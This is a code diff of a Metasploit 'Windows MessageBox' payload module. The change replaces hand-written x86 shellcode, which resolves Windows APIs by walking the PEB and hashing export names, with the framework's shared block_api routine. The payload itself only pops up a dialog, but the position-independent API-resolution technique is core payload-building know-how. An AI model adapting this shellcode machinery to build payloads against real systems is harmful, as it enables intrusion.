|
4 | 4 | ## |
5 | 5 |
|
6 | 6 | module MetasploitModule |
7 | | - |
8 | | - CachedSize = 272 |
| 7 | + CachedSize = 231 |
9 | 8 |
|
10 | 9 | include Msf::Payload::Windows |
11 | 10 | include Msf::Payload::Single |
| 11 | + include Msf::Payload::Windows::BlockApi |
12 | 12 |
|
13 | 13 | def initialize(info = {}) |
14 | | - super(merge_info(info, |
15 | | - 'Name' => 'Windows MessageBox', |
16 | | - 'Description' => 'Spawns a dialog via MessageBox using a customizable title, text & icon', |
17 | | - 'Author' => |
18 | | - [ |
| 14 | + super( |
| 15 | + merge_info( |
| 16 | + info, |
| 17 | + 'Name' => 'Windows MessageBox', |
| 18 | + 'Description' => 'Spawns a dialog via MessageBox using a customizable title, text & icon', |
| 19 | + 'Author' => [ |
19 | 20 | 'corelanc0d3r <peter.ve[at]corelan.be>', # original payload module |
20 | | - 'jduck' # some ruby factoring |
| 21 | + 'jduck' # some ruby factoring |
21 | 22 | ], |
22 | | - 'License' => MSF_LICENSE, |
23 | | - 'Platform' => 'win', |
24 | | - 'Arch' => ARCH_X86 |
25 | | - )) |
| 23 | + 'License' => MSF_LICENSE, |
| 24 | + 'Platform' => 'win', |
| 25 | + 'Arch' => ARCH_X86 |
| 26 | + ) |
| 27 | + ) |
26 | 28 |
|
27 | 29 | # Register MessageBox options |
28 | 30 | register_options( |
29 | 31 | [ |
30 | | - OptString.new('TITLE', [ true, "Messagebox Title (max 255 chars)", "MessageBox" ], max_length: 255), |
31 | | - OptString.new('TEXT', [ true, "Messagebox Text (max 255 chars)", "Hello, from MSF!" ], max_length: 255), |
32 | | - OptString.new('ICON', [ true, "Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION", "NO" ]) |
33 | | - ]) |
| 32 | + OptString.new('TITLE', [ true, 'Messagebox Title (max 255 chars)', 'MessageBox' ], max_length: 255), |
| 33 | + OptString.new('TEXT', [ true, 'Messagebox Text (max 255 chars)', 'Hello, from MSF!' ], max_length: 255), |
| 34 | + OptString.new('ICON', [ true, 'Icon type can be NO, ERROR, INFORMATION, WARNING or QUESTION', 'NO' ]) |
| 35 | + ] |
| 36 | + ) |
34 | 37 | end |
35 | 38 |
|
36 | 39 | # |
37 | 40 | # Construct the payload |
38 | 41 | # |
39 | 42 | def generate(_opts = {}) |
40 | | - |
41 | | - strTitle = datastore['TITLE'] + "X" |
42 | | - if (strTitle.length < 1) |
43 | | - raise ArgumentError, "You must specify a title" |
44 | | - end |
45 | | - |
46 | | - strText = datastore['TEXT'] + "X" |
47 | | - if (strText.length < 1) |
48 | | - raise ArgumentError, "You must specify the text of the MessageBox" |
49 | | - end |
50 | | - |
51 | | - # exitfunc process or thread ? |
52 | | - stackspace = "0x04" |
53 | | - funchash = "" |
54 | | - doexitseh = "" |
55 | | - case datastore['EXITFUNC'].upcase.strip |
56 | | - when 'PROCESS' |
57 | | - stackspace = "0x08" |
58 | | - funchash = "0x73E2D87E" |
59 | | - when 'THREAD' |
60 | | - stackspace = "0x08" |
61 | | - funchash = "0x60E0CEEF" |
62 | | - end |
63 | | - |
64 | | - # create exit routine for process / thread |
65 | | - getexitfunc = <<EOS |
66 | | - ;base address of kernel32 will be at esp, |
67 | | - mov ebx,#{funchash} |
68 | | - xchg ebx, dword [esp] |
69 | | - push edx |
70 | | - call find_function |
71 | | - ;store function address at ebx+08 |
72 | | - mov [ebp+0x8],eax |
73 | | -EOS |
74 | | - |
75 | | - doexit = <<EOS |
76 | | - xor eax,eax ;zero out eax |
77 | | - push eax ;put 0 on stack |
78 | | - call [ebp+8] ;ExitProcess/Thread(0) |
79 | | -EOS |
80 | | - |
81 | | - # if exit is set to seh or none, overrule |
82 | | - if datastore['EXITFUNC'].upcase.strip == "SEH" |
83 | | - # routine to exit via exception |
84 | | - doexit = <<EOS |
85 | | - xor eax,eax |
86 | | - call eax |
87 | | -EOS |
88 | | - getexitfunc = '' |
89 | | - elsif datastore['EXITFUNC'].upcase.strip == "NONE" |
90 | | - doexit = <<-EOS |
91 | | - nop |
92 | | - EOS |
93 | | - getexitfunc = '' |
94 | | - end |
95 | | - |
96 | | - # Generate code to get ptr to Title |
97 | | - marker_idx = strTitle.length - 1 |
98 | | - strPushTitle = string_to_pushes(strTitle, marker_idx) |
99 | | - # generate code to write null byte |
100 | | - strWriteTitleNull = "xor ebx,ebx\n\tmov [esp+0x#{marker_idx.to_s(16)}],bl\n\tmov ebx,esp\n\t" |
101 | | - |
102 | | - #================Process Text=============================== |
103 | | - marker_idx = strText.length - 1 |
104 | | - strPushText = string_to_pushes(strText, marker_idx) |
105 | | - strWriteTextNull = "xor ecx,ecx\n\tmov [esp+0x#{marker_idx.to_s(16)}],cl\n\tmov ecx,esp\n\t" |
106 | | - |
107 | | - # generate code to set messagebox icon |
108 | | - setstyle = "push edx\n\t" |
| 43 | + style = 0x00 |
109 | 44 | case datastore['ICON'].upcase.strip |
110 | | - #default = NO |
| 45 | + # default = NO |
111 | 46 | when 'ERROR' |
112 | | - setstyle = "push 0x10\n\t" |
| 47 | + style = 0x10 |
113 | 48 | when 'QUESTION' |
114 | | - setstyle = "push 0x20\n\t" |
| 49 | + style = 0x20 |
115 | 50 | when 'WARNING' |
116 | | - setstyle = "push 0x30\n\t" |
| 51 | + style = 0x30 |
117 | 52 | when 'INFORMATION' |
118 | | - setstyle = "push 0x40\n\t" |
| 53 | + style = 0x40 |
119 | 54 | end |
120 | 55 |
|
121 | | - #create actual payload |
122 | | - payload_data = <<EOS |
123 | | - ;getpc routine |
124 | | - fldpi |
125 | | - fstenv [esp-0xc] |
126 | | - xor edx,edx |
127 | | - mov dl,0x77 ;offset to start_main |
128 | | -
|
129 | | -;get kernel32 |
130 | | - xor ecx,ecx |
131 | | - mov esi, [fs:ecx + 0x30] |
132 | | - mov esi, [esi + 0x0C] |
133 | | - mov esi, [esi + 0x1C] |
134 | | -next_module: |
135 | | - mov eax, [esi + 0x08] |
136 | | - mov edi, [esi + 0x20] |
137 | | - mov esi, [esi] |
138 | | - cmp [edi + 12*2], cl |
139 | | - jne next_module |
140 | | -
|
141 | | - pop ecx |
142 | | - add ecx,edx |
143 | | - jmp ecx ;jmp start_main |
144 | | -
|
145 | | -find_function: |
146 | | - pushad ;save all registers |
147 | | - mov ebp, [esp + 0x24] ;put base address of module that is being loaded in ebp |
148 | | - mov eax, [ebp + 0x3c] ;skip over MSDOS header |
149 | | - mov edx, [ebp + eax + 0x78] ;go to export table and put relative address in edx |
150 | | - add edx, ebp ;add base address to it. |
151 | | - ;edx = absolute address of export table |
152 | | - mov ecx, [edx + 0x18] ;set up counter ECX |
153 | | - ;(how many exported items are in array ?) |
154 | | - mov ebx, [edx + 0x20] ;put names table relative offset in ebx |
155 | | - add ebx, ebp ;add base address to it. |
156 | | - ;ebx = absolute address of names table |
157 | | -
|
158 | | -find_function_loop: |
159 | | - jecxz find_function_finished ;if ecx=0, then last symbol has been checked. |
160 | | - ;(should never happen) |
161 | | - ;unless function could not be found |
162 | | - dec ecx ;ecx=ecx-1 |
163 | | - mov esi, [ebx + ecx * 4] ;get relative offset of the name associated |
164 | | - ;with the current symbol |
165 | | - ;and store offset in esi |
166 | | - add esi, ebp ;add base address. |
167 | | - ;esi = absolute address of current symbol |
168 | | -
|
169 | | -compute_hash: |
170 | | - xor edi, edi ;zero out edi |
171 | | - xor eax, eax ;zero out eax |
172 | | - cld ;clear direction flag. |
173 | | - ;will make sure that it increments instead of |
174 | | - ;decrements when using lods* |
175 | | -
|
176 | | -compute_hash_again: |
177 | | - lodsb ;load bytes at esi (current symbol name) |
178 | | - ;into al, + increment esi |
179 | | - test al, al ;bitwise test : |
180 | | - ;see if end of string has been reached |
181 | | - jz compute_hash_finished ;if zero flag is set = end of string reached |
182 | | - ror edi, 0xd ;if zero flag is not set, rotate current |
183 | | - ;value of hash 13 bits to the right |
184 | | - add edi, eax ;add current character of symbol name |
185 | | - ;to hash accumulator |
186 | | - jmp compute_hash_again ;continue loop |
187 | | -
|
188 | | -compute_hash_finished: |
189 | | -
|
190 | | -find_function_compare: |
191 | | - cmp edi, [esp + 0x28] ;see if computed hash matches requested hash |
192 | | - ; (at esp+0x28) |
193 | | - ;edi = current computed hash |
194 | | - ;esi = current function name (string) |
195 | | - jnz find_function_loop ;no match, go to next symbol |
196 | | - mov ebx, [edx + 0x24] ;if match : extract ordinals table |
197 | | - ;relative offset and put in ebx |
198 | | - add ebx, ebp ;add base address. |
199 | | - ;ebx = absolute address of ordinals address table |
200 | | - mov cx, [ebx + 2 * ecx] ;get current symbol ordinal number (2 bytes) |
201 | | - mov ebx, [edx + 0x1c] ;get address table relative and put in ebx |
202 | | - add ebx, ebp ;add base address. |
203 | | - ;ebx = absolute address of address table |
204 | | - mov eax, [ebx + 4 * ecx] ;get relative function offset from its ordinal |
205 | | - ;and put in eax |
206 | | - add eax, ebp ;add base address. |
207 | | - ;eax = absolute address of function address |
208 | | - mov [esp + 0x1c], eax ;overwrite stack copy of eax so popad |
209 | | - ;will return function address in eax |
210 | | -find_function_finished: |
211 | | - popad ;restore original registers. |
212 | | - ;eax will contain function address |
213 | | - ret |
214 | | -
|
215 | | -start_main: |
216 | | - mov dl,#{stackspace} |
217 | | - sub esp,edx ;allocate space on stack |
218 | | - mov ebp,esp ;set ebp as frame ptr for relative offset |
219 | | - mov edx,eax ;save base address of kernel32 in edx |
220 | | -
|
221 | | - push 0xEC0E4E8E ;get LoadLibrary function ptr |
222 | | - push edx |
223 | | - call find_function |
224 | | - ;put function address on stack (ebx+04) |
225 | | - mov [ebp+0x4],eax |
226 | | - #{getexitfunc} ;optionally get selected exit function ptr |
227 | | -
|
228 | | - ;put pointer to string user32.dll to stack |
229 | | - push 0x41206c6c |
230 | | - push 0x642e3233 |
231 | | - push 0x72657375 ;user32.dll |
232 | | - xor bl,bl ;make sure we have a null byte |
233 | | - mov [esp+0xA],bl ;null byte |
234 | | - mov esi,esp ;put pointer to string on top of stack |
235 | | - push esi |
236 | | - call [ebp+0x4] ;call LoadLibrary |
237 | | - ; base address of user32.dll is now in eax (if loaded correctly) |
238 | | - mov edx,eax ;put ptr in edx |
239 | | - push eax ;put it on stack as well |
240 | | - ;find the MessageBoxA function |
241 | | - mov ebx, 0xBC4DA2A8 |
242 | | - xchg ebx, dword [esp] ;esp = base address of user32.dll |
243 | | - push edx |
244 | | - call find_function |
245 | | - ;function address should be in eax now |
246 | | - ;we'll keep it there |
247 | | - ;get pointer to title |
248 | | - #{strPushTitle} |
249 | | - #{strWriteTitleNull} ;ebx will point to title |
250 | | - ;get pointer to text |
251 | | - #{strPushText} |
252 | | - #{strWriteTextNull} ;ecx will point to text |
253 | | -
|
254 | | -;now push parameters to the stack |
255 | | - xor edx,edx ;zero out edx |
256 | | - #{setstyle} ;set button/iconstyle on stack |
257 | | - push ebx ;put pointer to Title on stack |
258 | | - push ecx ;put pointer to Text on stack |
259 | | - push edx ;put 0 on stack (hWnd) |
260 | | - call eax ;call MessageBoxA(hWnd,Text,Title,Style) |
| 56 | + exitfunc_asm = %( |
| 57 | + push 0 |
| 58 | + push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} |
| 59 | + call ebp |
| 60 | + ) |
| 61 | + if datastore['EXITFUNC'].upcase.strip == 'THREAD' |
| 62 | + exitfunc_asm = %( |
| 63 | + mov ebx, #{Rex::Text.block_api_hash('kernel32.dll', 'ExitThread')} |
| 64 | + push #{Rex::Text.block_api_hash('kernel32.dll', 'GetVersion')} |
| 65 | + call ebp |
| 66 | + add esp,0x28 |
| 67 | + cmp al,0x6 |
| 68 | + jl use_exitthread ; is older than Vista or Server 2003 R2? |
| 69 | + cmp bl,0xe0 ; check if GetVersion change the hash stored in EBX |
| 70 | + jne use_exitthread |
| 71 | + mov ebx, #{Rex::Text.block_api_hash('ntdll.dll', 'RtlExitUserThread')} |
| 72 | + use_exitthread: |
| 73 | + push 0 |
| 74 | + push ebx |
| 75 | + call ebp |
| 76 | + ) |
| 77 | + end |
261 | 78 |
|
262 | | -;EXITFUNC |
263 | | - #{doexit} |
264 | | -EOS |
| 79 | + payload_data = %( |
| 80 | + cld |
| 81 | + call start |
| 82 | + #{asm_block_api} |
| 83 | + start: |
| 84 | + pop ebp |
| 85 | + call get_user32 |
| 86 | + db "user32.dll", 0x00 |
| 87 | + get_user32: |
| 88 | + push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} |
| 89 | + call ebp |
| 90 | + push #{style} |
| 91 | + call get_title |
| 92 | + db "#{datastore['TITLE']}", 0x00 |
| 93 | + get_title: |
| 94 | + call get_text |
| 95 | + db "#{datastore['TEXT']}", 0x00 |
| 96 | + get_text: |
| 97 | + push 0 |
| 98 | + push #{Rex::Text.block_api_hash('user32.dll', 'MessageBoxA')} |
| 99 | + call ebp |
| 100 | + #{exitfunc_asm} |
| 101 | + ) |
265 | 102 | self.assembly = payload_data |
266 | 103 | super |
267 | 104 | end |
268 | | - |
269 | | - # |
270 | | - # Turn the provided string into a serious of pushes |
271 | | - # |
272 | | - def string_to_pushes(str, marker_idx) |
273 | | - # Align string to 4 bytes |
274 | | - rem = (marker_idx+1) % 4 |
275 | | - if (rem > 0) |
276 | | - str << " " * (4 - rem) |
277 | | - end |
278 | | - |
279 | | - # string is now 4 byte aligned and ends with 'X' at index 'marker_idx' |
280 | | - |
281 | | - # push string to stack, starting at the back |
282 | | - pushes = '' |
283 | | - while (str.length > 0) |
284 | | - four = str.slice!(-4, 4) |
285 | | - dw = four.unpack('V').first |
286 | | - pushes << "push 0x%x\n\t" % dw |
287 | | - end |
288 | | - |
289 | | - pushes |
290 | | - end |
291 | 105 | end |
0 commit comments